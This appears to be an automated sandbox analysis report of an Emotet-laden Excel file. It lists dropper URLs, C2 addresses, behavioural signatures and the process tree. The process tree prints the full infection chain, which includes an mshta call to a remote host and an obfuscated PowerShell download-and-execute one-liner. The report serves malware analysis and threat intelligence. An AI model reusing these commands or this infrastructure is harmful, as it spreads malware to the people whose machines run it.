Analysis

  • max time kernel
    129s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 16:51

General

  • Target
    tmp7hter5ej.xls
  • Size 154KB
  • Sample220127-vctf6agabl
  • SHA256 3d877e78dce4cdb9ef64708c14fe6627505e1ff25946d5ae2c5625e967a5bf88
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp7hter5ej.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4084
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:8
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1864
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1068
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1408
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mqnbxoprsf\bwjtrqfpssqaqu.ywb",YWUqdmEHniaiVIG
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1384
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mqnbxoprsf\bwjtrqfpssqaqu.ywb",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1740
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 8 -s 1652
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2404

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1068-330-0x0000000004490000-0x00000000044B5000-memory.dmp

        memory/1408-344-0x0000000004890000-0x00000000048B5000-memory.dmp

        memory/1408-351-0x0000000004AB0000-0x0000000004AD5000-memory.dmp

        memory/1408-346-0x00000000048F0000-0x0000000004915000-memory.dmp

        memory/1408-342-0x0000000004830000-0x0000000004855000-memory.dmp

        memory/1408-340-0x0000000004650000-0x0000000004675000-memory.dmp

        memory/1408-338-0x0000000004570000-0x0000000004595000-memory.dmp

        memory/1408-335-0x0000000000950000-0x0000000000975000-memory.dmp

        memory/1588-287-0x000001F999AF0000-0x000001F999B90000-memory.dmp

        memory/1588-304-0x000001F999AF0000-0x000001F999B90000-memory.dmp

        memory/1588-267-0x000001F99B8F0000-0x000001F99B912000-memory.dmp

        memory/1588-299-0x000001F9B3D60000-0x000001F9B3DD6000-memory.dmp

        memory/1588-286-0x000001F999AF0000-0x000001F999B90000-memory.dmp

        memory/1588-288-0x000001F99BA80000-0x000001F99BABC000-memory.dmp

        memory/1740-353-0x0000000004ED0000-0x0000000004EF5000-memory.dmp

        memory/2324-117-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-116-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-118-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-115-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-129-0x00007FFEEFFC0000-0x00007FFEEFFD0000-memory.dmp

        memory/2324-128-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-127-0x00007FFEEFFC0000-0x00007FFEEFFD0000-memory.dmp

        memory/2324-395-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-396-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-397-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

        memory/2324-398-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp